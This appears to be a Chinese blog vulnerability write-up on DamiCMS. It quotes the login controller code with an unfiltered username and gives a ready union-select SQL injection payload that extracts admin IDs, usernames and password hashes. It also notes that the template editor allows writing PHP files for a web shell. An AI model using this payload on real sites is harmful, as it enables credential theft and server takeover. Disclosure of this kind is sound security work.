php 大米cms,大米CMS注入后台可以getshelll

大米CMS注入,后台可以getshelll

详细说明:

一)注入

1.挖洞前奏

Damicms搭建在本地以后,对cms\dami\Core\Lib\Think\Db\Db.class.php进行修改,将sq语句var_dump处理。

然后就进行黑盒测试。搜索点,以及admin登入点输入单引号就会给过滤了。。。

看到有注册功能,发现登入点居然没有过滤单引号。。。

81db58ab9ca21e8c684deb89f96835f2.png

这运气比较好了

2.漏洞原理

于是苦逼看代码,发现thinkphp 看不懂 - -

去学习了一下回来了。。。。

发现登入点在: dami\Web\Lib\Action\MemberAction.class.php

这控制器里面

发现问题代码:

[php]

$username = htmlspecialchars($_REQUEST['username']);

$userpwd = $_REQUEST['userpwd'];

if($username=='' || $userpwd==''){$this->error('请输入用户名和密码?');exit();}

$info = M('member')->where("username='{$username}' and is_lock=0")->find();

if(!$info){$this->error('用户不存在或已经禁止登陆!');}

else

{

if($info['userpwd'] != md5($userpwd)){

$this->error('密码错误,请重新登录!');

}else{

$_SESSION['dami_uid'] = $info['id'];

$_SESSION['dami_username'] = $info['username'];

if(!empty($_REQUEST['lasturl'])){

$this->assign('jumpUrl',urldecode(htmlspecialchars($_REQUEST['lasturl'])));

}

else{

$this->assign('jumpUrl',U('Member/main'));

}

$this->success('登录成功~');

}

}

[/php]

发现username没有过滤就放进去了......我想为什么thinkphp不过滤呢?测试其它的点都够了了。最后发现了。

1ef5246584d15f9a43302265b312ae2f.png

Thinkphp的where查看如果只对字符型的,他是不会过滤的 = =......他过滤数组进去的和对象进去的对象。。。。。。。。。

程序员过分信赖thinkphp的过滤,导致漏洞发生......

也就是登入时候用户名:-1' union select 1,(select concat(id,0x23,username,0x23,password) from dami_admin),'c4ca4238a0b923820dcc509a6f75849b',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20#

密码是1

登入进去看见用户名就是注入出的东西了。

2c6e124a2dc8634395bf58f6b0208d4d.png

4.后台编辑文件直接生成php

模板管理 编辑文件 可以直接生成php文件

1efacb33a9a3286eb6bcdbe83842d723.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
大米CMS是一个免费开源、快速、简单的PC建站和手机建站集成一体化系统,致力于为用户提供简单、快捷的PC建站和智能手机建站解决方案。 大米CMS特点: 1、扩展字段自定义,根据自己系统需要无限扩展字段,对于SELECT等下拉选项支持PHP代码生成OPTION,支持自定义多图多文件上传字段! 2、后台栏目分类无限极,并可以控制字段的显示或隐藏,生成不同的管理表单,内置RBAC权限体系,分栏目权限,内容权限,方便管理 3、列表模板(list目录下)和详细模板(page目录下)自定义, 4、基于thinkphp MVC框架开发, 内置大量函数方便前台模板调用,大米拥有自己的万能标签与分类标签等方便调用数据 5、作站灵活,可以将该系统做成任何类型网站,内置新闻类型站、企业站、手机3g站模型,通过http://***安装目录****/?t=xinwen这种查看,方便二次开发出不同模板 7、支持伪静态与全站生成静态HTML,支持数据采集 8、国内率先将微电商的概念引入CMS,让企业站不仅仅再是展示企业,可快速开展电子商务。集成支付宝标准双接口,支持购物车,可在线支付,货到付款,站内支付三种购买方式!会员集成QQ快捷登陆,支持购物订单通过电子邮件提醒! 9、跨平台支持移动终端访问,自适应,不变形!可做手机APP等应用开发,内置JSON数据API接口 10、国内CMS首创MSYQL表万能管理模型,输入MYSQL表名即可生成一个有增删改功能的管理模型,可快速在此基础上开发出自己想要的管理功能! 11、配备手机数据交互接口JSON格式API 12、支持中英等多语言 大米CMS 更新日志: 采用最新的thinkphp6.X框架重构,做了大量封装,代码无任何加密 完全开源,支持composer更新,模板写法有少许变化,尽量遵照原来写法 让熟悉大米cms的可以快速上手

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值